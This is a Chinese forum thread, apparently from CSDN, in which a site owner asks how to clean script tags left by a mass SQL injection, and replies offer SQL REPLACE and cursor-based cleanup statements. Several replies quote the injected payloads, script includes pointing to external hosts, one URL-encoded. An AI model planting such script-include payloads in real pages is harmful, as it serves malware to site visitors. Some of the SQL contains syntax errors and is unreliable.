由于程序存在漏洞,SQL被大量的注入,被注入的主要是一个网站,几乎表下的每个字段的都被注入
导致现在打开网站都会在内容下显示这个网站。由于周末用户添加了大量的数据,备份的数据库已经
被注入,现在唯一的办法是清理这个网站,如何通过SQL语句实现,谢谢
如表tt和qqtt (原始数据)
   aa     bb       cc     dd
  新闻1    好好1     坏坏1   差差1
  新闻2    好好2    坏坏2   差差2tt (被注入后的数据)
   aa      bb                  cc     dd
  新闻1    好好1 <fdsf>        坏坏1   差差1<fdsf> 
  新闻2    好好2 <fdsf>        坏坏2   差差2<fdsf> 
现在如何除去bb和dd字段下的这段代码而不影响数据。

解决方案 »

  1.   

    http://topic.csdn.net/u/20080514/01/5c966009-9043-4ebc-a089-45f90e75aac7.html
      

  2.   

    http://topic.csdn.net/u/20080514/01/5c966009-9043-4ebc-a089-45f90e75aac7.html
      

  3.   

    update   表   set   字段=replace(字段,   '要删除的字符串','')   
      where   charindex('要删除的字符串',字段)>0
     比较幸苦的方法了,得一个一个来啊!!!
    pdate dbo.lg_SiteConfig set sitename = replace(sitename,'</title><script src="></title><script src=http://s.see9.us/s.js></script><!--','')
    这种也可以,高手告诉的,可是我也不是很懂,请教,有明白的,告诉一声!!!!
      

  4.   

    查检是否找到"<"出现的规律?如果每一个"<"后面都是非法的内容,那么可以这样写
    update tt
    set bb=case when charindex('<',bb)>0 then left(bb,charindex('<',bb)-1 then bb end
      

  5.   

    少了一个")"update tt 
    set bb=case when charindex(' <',bb)>0 then left(bb,charindex(' <',bb)-1) then bb end 
      

  6.   

    DECLARE @fieldtype sysname
    SET @fieldtype='varchar'--删除处理
    DECLARE hCForEach CURSOR GLOBAL
    FOR
    SELECT N'update '+QUOTENAME(o.name)
        +N' set  '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''((((((("></title><script src=http://%66%75%63%6B%75%75%2E%75%73/1.js></scr((((('','''')'
    FROM sysobjects o,syscolumns c,systypes t
    WHERE o.id=c.id 
        AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
        AND c.xusertype=t.xusertype
        AND t.name=@fieldtype
    EXEC sp_MSforeach_Worker @command1=N'?'替换(((((((((((((中间的代码,可以批量删除
      

  7.   

    还有我想问一下,
    http://topic.csdn.net/u/20080529/09/44f8a53b-5ea6-4412-8bb6-730889523c7e.html
      您说在这个页面的所会的回贴是2.0以上用的,我想问你一下,怎么才能给这些代码弄成可以1.1可以使用的呀?